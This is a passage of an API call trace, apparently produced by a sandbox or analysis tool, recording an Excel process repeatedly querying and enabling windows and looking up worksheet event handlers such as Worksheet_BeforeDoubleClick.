pv=0xbd15800) [0265.159] GetAsyncKeyState (vKey=27) returned 0 [0265.159] GetCurrentThreadId () returned 0x8fc [0265.159] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0265.159] GetDesktopWindow () returned 0x10010 [0265.159] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0265.159] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0265.160] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0265.160] GetWindowLongPtrA (hWnd=0x1f0168, nIndex=-6) returned 0x7feef2c0000 [0265.160] GetWindowLongPtrA (hWnd=0x1f0168, nIndex=-6) returned 0x7feef2c0000 [0265.160] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0265.160] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0265.160] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0265.160] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0265.160] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0265.160] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0265.161] IsWindowEnabled (hWnd=0x202b0) returned 0 [0265.161] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0265.161] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0265.161] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0265.161] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0265.161] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0265.161] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0265.161] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0265.161] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0265.161] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0265.162] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0265.162] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0265.162] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0265.162] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0265.162] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0265.162] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0265.162] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0265.162] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd15b20 [0265.162] IMalloc:Free (This=0x7feffc15380, pv=0xbd15b20) [0268.348] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba000000c0) returned 0x0 [0268.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0268.348] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0268.349] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0268.349] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0268.350] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0268.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0268.350] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0268.350] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0268.350] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0268.375] GetCurrentThreadId () returned 0x8fc [0268.375] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0268.375] GetDesktopWindow () returned 0x10010 [0268.375] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0268.375] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0268.375] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0268.376] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0268.376] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0268.376] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0268.376] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0268.376] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0268.376] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0268.376] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0268.377] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0268.377] IsWindowEnabled (hWnd=0x202b0) returned 1 [0268.377] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0268.377] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0268.377] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0268.377] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0268.377] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0268.377] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0268.377] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0268.377] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0268.377] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0268.377] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0268.377] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0268.377] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0268.377] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0268.377] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0268.377] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0268.377] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0268.377] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0268.378] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0268.378] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0268.378] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0268.378] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0268.378] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd190c0 [0268.378] IMalloc:Free (This=0x7feffc15380, pv=0xbd190c0) [0268.774] GetAsyncKeyState (vKey=27) returned 0 [0268.774] GetCurrentThreadId () returned 0x8fc [0268.774] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0268.774] GetDesktopWindow () returned 0x10010 [0268.774] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0268.774] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0268.774] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0268.774] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0268.774] GetWindowLongPtrA (hWnd=0x2b0196, nIndex=-6) returned 0x7feef2c0000 [0268.774] GetWindowLongPtrA (hWnd=0x2b0196, nIndex=-6) returned 0x7feef2c0000 [0268.775] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0268.775] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0268.775] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0268.775] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0268.775] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0268.775] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0268.775] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0268.775] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0268.775] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0268.776] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0268.776] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0268.777] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0268.777] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0268.777] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0268.777] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0268.777] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0268.777] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0268.777] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0268.777] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0268.777] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0268.777] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0268.777] IsWindowEnabled (hWnd=0x202b0) returned 0 [0268.777] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0268.777] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0268.777] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0268.778] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0268.778] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0268.778] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0268.778] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0268.778] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0268.778] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0268.778] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0268.778] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0268.778] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0268.778] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0268.778] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0268.778] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0268.778] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0268.778] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0268.779] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0268.779] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0268.779] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0268.779] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0268.779] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24aced0 [0268.779] IMalloc:Free (This=0x7feffc15380, pv=0x24aced0) [0271.977] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0271.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0271.977] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0271.977] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0271.978] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0272.168] GetCurrentThreadId () returned 0x8fc [0272.168] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0272.168] GetDesktopWindow () returned 0x10010 [0272.168] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0272.168] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0272.168] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0272.169] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0272.169] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0272.169] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0272.169] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0272.169] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0272.169] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0272.169] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0272.170] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0272.170] IsWindowEnabled (hWnd=0x202b0) returned 1 [0272.170] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0272.170] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0272.170] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0272.170] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0272.170] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0272.170] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0272.170] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0272.170] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0272.170] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0272.170] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0272.170] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0272.170] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0272.170] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0272.170] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0272.170] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0272.170] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0272.170] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0272.170] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0272.170] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0272.171] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0272.171] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0272.171] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd1ab80 [0272.171] IMalloc:Free (This=0x7feffc15380, pv=0xbd1ab80) [0272.589] GetAsyncKeyState (vKey=27) returned 0 [0272.589] GetCurrentThreadId () returned 0x8fc [0272.589] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0272.589] GetDesktopWindow () returned 0x10010 [0272.589] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0272.589] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0272.589] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0272.589] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0272.590] GetWindowLongPtrA (hWnd=0x2f021c, nIndex=-6) returned 0x7feef2c0000 [0272.590] GetWindowLongPtrA (hWnd=0x2f021c, nIndex=-6) returned 0x7feef2c0000 [0272.590] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0272.590] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0272.590] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0272.590] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0272.590] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0272.590] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0272.591] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0272.591] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0272.591] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0272.591] IsWindowEnabled (hWnd=0x202b0) returned 0 [0272.591] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0272.591] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0272.591] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0272.591] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0272.591] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0272.591] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0272.591] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0272.591] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0272.591] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0272.591] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0272.591] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0272.591] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0272.591] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0272.591] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0272.591] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0272.592] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0272.592] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0272.592] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0272.592] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0272.592] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0272.592] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0272.592] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24acf30 [0272.592] IMalloc:Free (This=0x7feffc15380, pv=0x24acf30) [0275.677] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0275.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0275.677] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0275.677] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0275.677] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0275.861] GetCurrentThreadId () returned 0x8fc [0275.861] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0275.861] GetDesktopWindow () returned 0x10010 [0275.861] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0275.861] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0275.861] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0275.861] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0275.861] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0275.861] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0275.861] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0275.862] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0275.862] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0275.862] GetWindowLongPtrA 